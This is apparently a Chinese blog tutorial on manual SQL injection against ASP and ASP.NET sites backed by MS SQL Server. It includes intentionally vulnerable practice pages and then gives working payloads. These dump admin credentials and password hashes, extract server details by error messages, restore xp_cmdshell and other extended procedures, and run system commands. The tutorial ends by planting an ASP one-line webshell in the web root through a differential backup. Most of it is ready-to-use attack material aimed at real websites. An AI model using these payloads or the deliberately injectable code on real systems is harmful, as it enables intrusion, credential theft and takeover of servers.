很久没有玩这些东西了,感觉都有点健忘了,呵呵~~
注入:很明显都是冲着数据库去的,凡是有注入漏洞的网站大都是由用户(浏览器)传参并带入数据库查询时检查不严格造成的。
注入,从提交数据到Web服务器的方式上来讲分为2种:Get 和 Post 。
其中Get的表现形式有:在诸如:http://www.xxx.com/news_lists.asp?id=X-X-X,根据其传入的参数(X-X-X)的类型又分为数字注入类型和字符注入类型。
其中Post的表现形式有:修改本地Cookie提交注入命令(常称为”中转注入”),还有就是今天重点要说的通过表单提交注入数据(用户登录界面)。
嗯,注入大体上的基本概念概念就是这些,具体的大家可以百度更详细的讲解。
既然所有的注入都是针对数据库据的,那么我们有必要看下当前主流动态网站编程语言是怎么和数据库交互(连接)的。
ASP连接数据库部分的代码片段:
<%
Dim Db,MyDbPath
dim conn
'可修改设置一:========================定义数据库类别,1为SQL数据库,0为Access数据库=============================
Const IsSqlDataBase =0
MyDbPath = ""
'================================================================================================================
If IsSqlDataBase = 1 Then
'必修改设置二:========================SQL数据库设置=============================================================
'sql数据库连接参数:数据库名(SqlDatabaseName)、用户密码(SqlPassword)、用户名(SqlUsername)、
'连接名(SqlLocalName)(本地用local,外地用IP)
Const SqlDatabaseName = "dvbbs"
Const SqlPassword = ""
Const SqlUsername = "sa"
Const SqlLocalName = "localhost"
'================================================================================================================
Else
'必修改设置三:========================Access数据库设置==========================================================
'免费用户第一次使用请修改本处数据库地址并相应修改data目录中数据库名称,如:将dvbbs6.mdb修改为dvbbs6.asp
Db = "z.mdb"
'================================================================================================================
End If
Dim ConnStr
If IsSqlDataBase = 1 Then
ConnStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
Else
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(MyDbPath & db)
End If
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
'-----------------------------------------------------------------------------------------------------
%>
<%
lg_id=Request("id")
If Request("id") = "" Then
lg_id=1
Set rs=conn.Execute("Select * From dv_help Where h_id ="& lg_id )
else
//提交变量
Set rs=conn.Execute("Select * From dv_help Where h_id=" & lg_id )
End If
%>
<div align="center">
<p> </p>
<p>SQL Injection</p>
<p>数据库可自带,替换表名。</p>
<p>提交参数为a.asp?id=1</p>
<p>id默认为1</p>
</div>
<div align="center">
<table width="754" height="259" border="1">
<tr>
<td width="744" bgcolor="#CCCCCC"><%=rs("h_content")%></td>
</tr>
</table>
</div>
================================================================================
ASPX:
<%@ Page language="c#" validateRequest=false %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<script language="C#" runat="server">
private System.Data.IDbConnection m_Connection = null;
private System.Data.IDbCommand m_Command = null;
private string h_id = null;
private string strSql = null;
private void Page_Load(object sender, System.EventArgs e)
{
this.Lb_title.Text = "sql注入练习\n";
this.Lb_title.Text += "请把动网论坛access数据库文件改名为‘z.mdb’,放在本文件同一目录下\n";
this.Lb_title.Text += "然后设置目录为web共享目录。";
this.h_id = Request.Params["id"];
if (this.h_id == null || this.h_id.Equals(""))
{
this.h_id = "3";
}
this.strSql = "Select * From dv_help Where h_id = " + this.h_id + " " ;
this.SqlinCode();
}
private System.Data.OleDb.OleDbConnection GetConn()
{
//返回数据库链接
if (this.m_Connection!=null)
{
return (System.Data.OleDb.OleDbConnection)this.m_Connection;
}
return new System.Data.OleDb.OleDbConnection("Provider=Microsoft.Jet.OLEDB.4.0; Data Source="+Server.MapPath("z.mdb")+"");
}
private bool OpenConn()
{
//打开数据库连接
if (this.m_Connection==null)
{
return false;
}
this.m_Connection.Open();
return true;
}
private bool CloseConn()
{
//关闭连接
if (this.m_Connection==null)
{
return false;
}
this.m_Connection.Close();
return true;
}
private void SqlinCode()
{
//sql注入漏洞的方法。
this.m_Connection = GetConn();
this.m_Command = new System.Data.OleDb.OleDbCommand();
this.m_Command.Connection = this.m_Connection;
this.m_Command.CommandText = this.strSql;
this.OpenConn();
System.Data.OleDb.OleDbDataReader dataReader = (System.Data.OleDb.OleDbDataReader)this.m_Command.ExecuteReader();
if (dataReader.Read())
{
this.Lb_show.Text = dataReader.GetValue(3).ToString();
}
dataReader.Close();
this.CloseConn();
}
#region Web 窗体设计器生成的代码
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
//
InitializeComponent();
base.OnInit(e);
}
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);
}
#endregion
</script>
<title>sqlin</title>
<meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
<meta name="CODE_LANGUAGE" Content="C#">
<meta name="vs_defaultClientScript" content="JavaScript">
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" method="post" runat="server">
<FONT face="宋体">
<asp:Label id="Lb_show" style="Z-INDEX: 101; LEFT: 64px; POSITION: absolute; TOP: 120px" runat="server"
Width="536px" Height="344px"></asp:Label>
<asp:Label id="Lb_title" style="Z-INDEX: 102; LEFT: 64px; POSITION: absolute; TOP: 16px" runat="server"
Width="248px" Height="72px">下面显示数据库内容:</asp:Label></FONT>
</form>
</body>
</HTML>
ASP.NET(aspx)连接数据库部分的代码片段:
..........
PHP连接数据库部分的代码片段:
..........
JSP连接数据库部分的代码片段:
...........
通过上面的部分大家不难看出其实带入数据库查询的语句,不论是实用ACCESS还是SQL Server 或者是 MySQL 连接数据库的语句语法结构上大体相识的,如果你精通一门数据库语言那么再注入时遇到具体的某一种SQL语言时,再去查找些对应的资料了解一下就可以了。
下面就是重点了:
注入又根据被注入的Web服务器的显错开关设置(开启/关闭)分为:显错模式下的注入攻击和非显错模式下的注入攻击(也就是常说的“盲注”)。其实注入的语句都是一样的,只不过非显错模式下你无法通过错误页面内容直接得到语句的执行结果,也就是说在非显错模式下web服务器只会回答你“Yes”和”No”,没有别的回答了。但让这样也还是不能阻挡我们注入的脚步,那就看你的判断力和对SQL语句的驾驭能力了。
下面又是老生长谈的问题了,对于基础的东西我会只做一些简单的介绍,具体更详细的内容大家有兴趣的可以去搜索相关资料补充下。
一、判断是否为可用注入点
数字型可疑注入点大概是这种形式:http://www.website.com/news_lists.asp?id=2121(id=后面的为数字)
字符型的可疑注入点大概使这种形式:http://www.website.com/news_lists.asp?title=hello(title=后面是字符串)
当然不止是asp站点是这样asp.net 、php,Jsp也基本是这样
数字型:
提交下面网址:
http://www.website.com/news_lists.asp?id=2121 and 1=1 返回正常页面
http://www.website.com/news_lists.asp?id=2121 and 1=2 返回错误(不同)页面
那么这个地址基本上就是可用的注入点了。
字符型:
http://www.website.com/news_lists.asp?id=2121’ and ‘1’=’1 返回正常页面
http://www.website.com/news_lists.asp?id=2121’ and ‘1’=’2 返回错误(不同)页面
那么这个地址基本上就是可用的注入点了。
估计聪明的你一眼就看懂了数字型和字符型的区别了吧,下面的演示事例我就不再区别数字型和字符型了。
二,猜解数据库内容
这里我只讲我常用的方法(对于只能实用ASCII转换来一个一个字符来猜解的注入点,建议还是让工具来做吧,应为10猜解估计有6次是错误的,况且这是真正的苦力活儿)。
1,先用order by 数字(id) 来猜解字段数目
http://www.website.com/news_lists.asp?id=2121 order by 1 返回正常页面
http://www.website.com/news_lists.asp?id=2121 order by 2 返回正常页面
http://www.website.com/news_lists.asp?id=2121 order by 3 返回正常页面
......................................
.....................................
http://www.website.com/news_lists.asp?id=2121 order by n 返回错误页面
那么当前连接的数据库表的字段数目就是n-1了。
2,使用Union(联合)语句来查询记录内容
http://www.website.com/news_lists.asp?id=2121 and 1=2 union select 1,2,3,4.....n-1 from admin
假如返回: 3 5
(这样页面返回的数字(可能分散在页面的各个角落)代表能被猜解的列编号,其中的admin是你自己猜测的管理员表名,当然有更好的方法不用猜管理员表名,那就看你对具体数据库的sysobjects表的结构的了解程度了,这里不再说明)
http://www.website.com/news_lists.asp?id=2121 and 1=2 union select 1,2,username,4,password.....n-1 from admin
这样就返回了管理员的用户名和MD5(一般情况)加密的密码,搜索下在线MD5解密网站,解密下密码就好(当然,运气不好的话那我也没办法)
3,找后管理登录后台
当然你可以用啊D和明小子的后台扫描工具去尝试下,你还可以在网上找一些专门扫后台地址的工具进行查找(大多数情况下还是很凑效的),你能用他们找到后台地址那是应为那些工具的后台地址字典里有。这里还有另外一种方法也许会给你带来意想不到的惊喜。在google里输入: site:你的目标站点的网址 inurl:login (或者admin,mannage,mannger,guanli,dneglu)
等等,就是一些google语法的灵活运用。
4,后台提权拿webshell
时间关系这里我就不说了
回到正题:Post登录表单注入(显错模式下)
登录表单的注入点着实让人很难受,市面上有工具能对这样的注入点进行注入。可是能正常起作用的却没几个。那么手工注入表单注入点就很有必要了。
这里以我上次注入的一个asp.net的站点为例说明下
一、判断登录框是否为可用注入点:
输入 : a’
返回错误页 那么就很可能是可用注入点了(当然还可以输入别的,主要是让分号不闭合而报错)
(有的注入点,你可以先试下万能密码,比如: ' or 1=1;-- 如果直接进了后台页面也成功的提权那就没什么可说的了。如果你在后台功能太过简单或别的原因导致提权失败,这个注入点有具有sa权限,那么你就回头好好利用这个注入点吧)
二、爆字表和字段
输入 'having 11=1; -- (注意符号都是英文状态输入且)
返回结果像这样:
列 'newsusers.userid' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
列 'newsusers.usertype' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
列 'newsusers.username' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
列 'newsusers.deptid' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
这样爆的字段可能不全,那么我们可以在用下面的方法一个一个的爆它(关键就是利用convert函数转换数据类型出错爆库)
1' and 1=convert(int,(select top 1 col_name(object_id ('newsusers'),1) from newsusers)) and '1'='1
得到字段: id
1' and 1=convert(int,(select top 1 col_name(object_id ('newsusers'),2) from newsusers)) and '1'='1
得到字段:userid
1' and 1=convert(int,(select top 1 col_name(object_id ('newsusers'),3) from newsusers)) and '1'='1
得到字段: password
1' and 1=convert(int,(select top 1 col_name(object_id ('newsusers'),4) from newsusers)) and '1'='1
得到字段:username
我们就这样不断更爱其中的数字1,2,3,4....n 直到爆出所有字段
三、爆记录
' and (select top 1 newsusers.username from newsusers)>0-- 得到用户名
' and (select top 1 newsusers.password from newsusers)>0-- 得到密码(我上次得到的是个SHA1加密的密码)
像这样1f82c942befda29b6ed487a51da199f78fce7f05 解密下就ok
下面就是今天我要讲的重点内容了,前面只是做个简单的回顾:
四、收集服务器的更多信息
1,爆服务器信息:
a' and 1=convert(int ,@@version);--
返回像这样的信息:
将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
' 转换为数据类型为 int 的列时发生语法错误。
(注其中的NT 5.2 是Microsoft Windows Server 2003中文标准版)
2,爆当前连接的数据库名
a' and 1=convert(int,db_name());--
返回像这样的信息:
将 nvarchar 值 'news' 转换为数据类型为 int 的列时发生语法错误。
说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.SqlClient.SqlException: 将 nvarchar 值 'news' 转换为数据类型为 int 的列时发生语法错误。
(注:其中的news即为当前连接的数据库名)
3,爆当前连接上述数据库的用户名
a' and 1=convert(int,user_name());--
返回像这样的信息:
将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。
(注:dbo指当前数据库的db_owner用户,不一定属于sa(sysadmin)角色的用户)
4,爆当前数据库服务器的服务器名称(机器名)
a' and 1=convert(int,@@servername);--
返回像这样的信息:
将 nvarchar 值 'WEBDATA' 转换为数据类型为 int 的列时发生语法错误。
(注:其中的WEBDATA就是数据库服务器的机器名)
其它的大家可以查询相关数据库的内置常量来进行查询
五、查询相关系统存储过程是否可用
1,查询指定存储过程是否可用:
如:xp_cmdshell
a' and 1=(select name from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell');--
如果返回像这样:
将 nvarchar 值 'xp_cmdshell' 转换为数据类型为 int 的列时发生语法错误。
那么说明该存储过程是可用的
2,查询所有可用存储过程
a' and 1=(select top 1 name from master.dbo.sysobjects where xtype='X' );--
返回:将 nvarchar 值 'sp_repltrans' 转换为数据类型为 int 的列时发生语法错误。
a' and 1=(select top 1 name from master.dbo.sysobjects where xtype='X' and name not in('sp_repltrans'));--
返回:将 nvarchar 值 'sp_bindsession' 转换为数据类型为 int 的列时发生语法错误。
............................
就这样不断的添加排除查询的存储过程,直到爆出所有的可用存储过程
六,恢复常用数据库存储过程
Exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’
exec sp_addextendedproc xp_dirtree,’xpstar.dll’
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’
exec sp_addextendedproc sp_OACreate,’odsole70.dll’
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAStop,’odsole70.dll’
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’
exec sp_addextendedproc xp_regread,’xpstar.dll’
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’
exec sp_addextendedproc xp_regwrite,’xpstar.dll’
例如恢复xp_regread:
mima';exec sp_addextendedproc xp_regread,'xpstar.dll';--(注:mima代表通过上面的方法得到的正确的帐号,当然下面也用正确的密码,只有这样你才能更加准确的判断命令是否正确的执行,后面的演示命令不再说明)
验证是否恢复成功:
a' and 1=(select name from master.dbo.sysobjects where xtype='X' and name='xp_regread');--
返回:将 nvarchar 值 'xp_regread' 转换为数据类型为 int 的列时发生语法错误。则表示恢复成功!
注:如果一般管理员都会删除xp_cmdshell这个存储过程,有多数连带的把xplog70.dll动态连接库也删除了,要是这样的话就不要只想着恢复他了,难度是相当的大,搞不好就把数据库玩蹦了!
七、执行CMD命令(+获取执行结果,含读取文件的方法)
1,Xp_cmdshell:
创建表:
mima'; create table ipaddrtmp(ipset varchar(500),id int identity(1,1) not null);--
执行命令并把结果插入表中(注在执行ipconfig命令最好加上/all参数):
mima'; insert into ipaddrtmp exec master..xp_cmdshell 'ipconfig /all';--
从表中提取数据(报错方式),注:插入时是按照一行一条记录的方式插入的
a' and 1=(select ipset from ipaddrtmp where id=1);--
a' and 1=(select ipset from ipaddrtmp where id=2);--
.................................................
a' and 1=(select ipset from ipaddrtmp where id=3);--
别忘记了删除我们建的表
mima';drop table ipaddrtmp;--
2,sp_OACreate,sp_OAGetProperty和sp_OAMethod
前提条件:服务器上的Wscript.shell和Scripting.FileSystemObject(FSO)可用
便于观看的写法:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
删除我们建的表
DROP TABLE mytmp
注入语句实际写法(一行):
mima';CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY (1, 1) NOT NULL);--
下面的是一条语句(比较长):
mima';DECLARE @shell INT;DECLARE @fso INT;DECLARE @file INT;DECLARE @isEnd BIT;DECLARE @out VARCHAR(400);EXEC sp_oacreate 'wscript.shell',@shell output;EXEC sp_oamethod @shell,'run',null,'cmd.exe /c ipconfig /all>C:\WINDOWS\Media\temp.txt','0','true';EXEC sp_oacreate 'scripting.filesystemobject',@fso output;EXEC sp_oamethod @fso,'opentextfile',@file out,'C:\WINDOWS\Media\temp.txt';WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out;INSERT INTO MYTMP(info) VALUES (@out); EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out;IF @isEnd=1 BREAK ELSE CONTINUE END;--
从表中提取数据(报错方式)
a' and 1=(select info from mytmp where ID=1);--
a' and 1=(select info from mytmp where ID=2);--
...................................................
a' and 1=(select info from mytmp where ID=n);--
3,xp_regwrite(沙盒模式)
开启沙盒模式
mima';exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;--
执行命令
mima';select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("cmd.exe /c ipconfig /all>C:\WINDOWS\Media\temp.txt")');--
创建表读取命令执行结果
mima';create table cmdtmp(a text,ID int identity(1,1) not null);--
mima';BULK INSERT cmdtmp FROM 'C:\WINDOWS\Media\temp.txt' WITH ( FIELDTERMINATOR = '\n', ROWTERMINATOR = '\r\n');--
从表中提取数据(报错方式)
a' and 1=(select a from mytmp where ID=1);--
a' and 1=(select a from mytmp where ID=2);--
...................................................
a' and 1=(select a from mytmp where ID=n);--
这个别忘记啦
drop table cmdtmp
八、获取web目录
mima;create table dirstmp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int identity(1,1) not null);--
mima;insert into dirstmp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1;--
a' and 1=(select dir from dirstmp where id =1);--
a' and 1=(select dir from dirstmp where id =2);--
......................................
a' and 1=(select dir from dirstmp where id =n);--
然后在连接上上面获得的目录获取下级目录信息
九、差异备份写入一句话木马:
前提:数据库权限不低于db_owner(dbo)
miam;alter database news set recovery full;--
mima;create table testshell(str image);--
mima;backup log news to disk='c:\test' with init;--
mima';insert into testshell(str) values('<%execute(request("cmd"))%>');--
这里写入具有可执行权限的网站目录
mima;backup log news to disk='c:\inetpub\wwwroot\aspnet_client\i1s.asp';--
mima;alter database news set recovery simple;--
mima;drop table testshell;--